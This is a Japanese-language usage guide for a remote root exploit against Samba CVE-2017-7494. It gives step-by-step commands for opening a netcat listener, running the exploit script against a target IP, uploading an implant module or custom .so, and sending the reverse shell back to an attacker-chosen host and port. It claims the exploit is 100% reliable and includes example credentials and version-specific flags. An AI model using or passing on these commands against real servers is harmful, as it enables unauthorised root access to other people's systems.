
SAMBA CVE-2017-7494 の脆弱性に対するリモートルートエクスプロイト。
このエクスプロイトは2つの部分に分かれています:
ターゲットが脆弱であり、ペイロードがターゲットのオペレーティングシステムとアーキテクチャに正しく対応している限り、このエクスプロイトは100%信頼性があります。
お使いのマシンで、次のコマンドを実行してください:
$ nc -p 31337 -l
次に、ターゲットに対してエクスプロイトを実行し、Netcat に接続してくるまで待ちます:
$ python cve_2017_7494.py -t target_ip
リバースシェルを早く閉じてしまった場合、モジュールをアップロードするエクスプロイトをもう一度実行する代わりに、すでにアップロードされたモジュールのパスを渡すだけで済みます。モジュールが /shared/directory/ に "module.so" としてアップロードされたとすると、次のようなコマンドを実行することになります:
$ python cve_2017_7494.py -t target_ip -m /shared/directory/module.so
samba 3.5.0 および 3.6.0 に対して再びエクスプロイトを実行できるようになりました。引数 -o 1 を追加するだけです。
python cve_2017_7494.py -t target_ip -u test -P 123456 --rhost shell_ip --rport shell_port -o 1
独自のカスタム .so を使用することもできます。
python cve_2017_7494.py -t target_ip -u test -P 123456 -o 1 --custom myso.so
x86 マシンからこのスクリプトを実行する必要がある場合、インプラントバイナリのコンパイルにより x86 ファイルが2つ作成されます。フラグ -n 1 を使用すると、コンパイルを無効にして、別のマシンから libimplantx64.so をコピーできます。
python cve_2017_7494.py -t target_ip -u test -P 123456 --rhost shell_ip --rport shell_port -n 1
samba がポート 139 だけで実行されている場合。引数 -p を使用してリモートサーバーのポートを設定できます。
python cve_2017_7494.py -t target_ip -p 139 -u test -P 123456 --rhost shell_ip --rport shell_port -n 1
これはもうサポートしていません。
-- Joxean Koret